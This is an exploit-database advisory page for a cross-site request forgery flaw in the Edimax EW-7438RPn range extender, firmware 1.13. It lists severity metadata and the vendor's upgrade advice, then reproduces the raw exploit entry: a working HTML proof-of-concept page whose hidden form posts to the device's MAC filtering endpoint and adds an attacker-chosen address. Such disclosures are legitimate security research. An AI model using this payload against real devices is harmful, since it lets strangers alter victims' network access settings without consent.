Edimax EW-7438RPn - Cross-Site Request Forgery (MAC Filtering)

vendor:

EW-7438RPn

by:

Besim ALTINOK

8.8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: EW-7438RPn

Affected Version From: 1.13

Affected Version To: 1.13

Patch Exists: YES

Related CWE: N/A

CPE: h:edimax:ew-7438rpn_mini

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Edimax EW-7438RPn 1.13 Version

2020

Edimax EW-7438RPn – Cross-Site Request Forgery (MAC Filtering)

A Cross-Site Request Forgery (CSRF) vulnerability exists in Edimax EW-7438RPn 1.13 Version, which allows an attacker to add a new MAC address to the MAC filtering list. An attacker can craft a malicious HTML page and send it to the victim, when the victim visits the malicious page, the attacker can add a new MAC address to the MAC filtering list.

Mitigation:

The vendor recommends users to upgrade to the latest version of the firmware.

Source

Exploit-DB raw data:

# Exploit Title: Edimax EW-7438RPn - Cross-Site Request Forgery (MAC Filtering)
# Date: 2020-04-21
# Exploit Author: Besim ALTINOK
# Vendor Homepage: https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/wi-fi_range_extenders_n300/ew-7438rpn_mini/
# Version:1.13
# Tested on: Edimax EW-7438RPn 1.13 Version


CSRF PoC - Mac Filtering
----------------------------------------------------------------------------------------------------------
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://172.20.10.2/goform/formWlAc" method="POST">
      <input type="hidden" name="wlanAcEnabled" value="ON" />
      <input type="hidden" name="tiny&#95;idx" value="0" />
      <input type="hidden" name="mac" value="ccbbbbbbbbbb" />
      <input type="hidden" name="comment" value="PentesterTraining" />
      <input type="hidden" name="addFilterMac" value="Add" />
      <input type="hidden" name="submit&#45;url"
value="&#47;macfilter1&#95;sub1&#46;asp" />
      <input type="hidden" name="wlanSSIDIndex" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

-- 

Besim ALTINOK

*Security Engineer*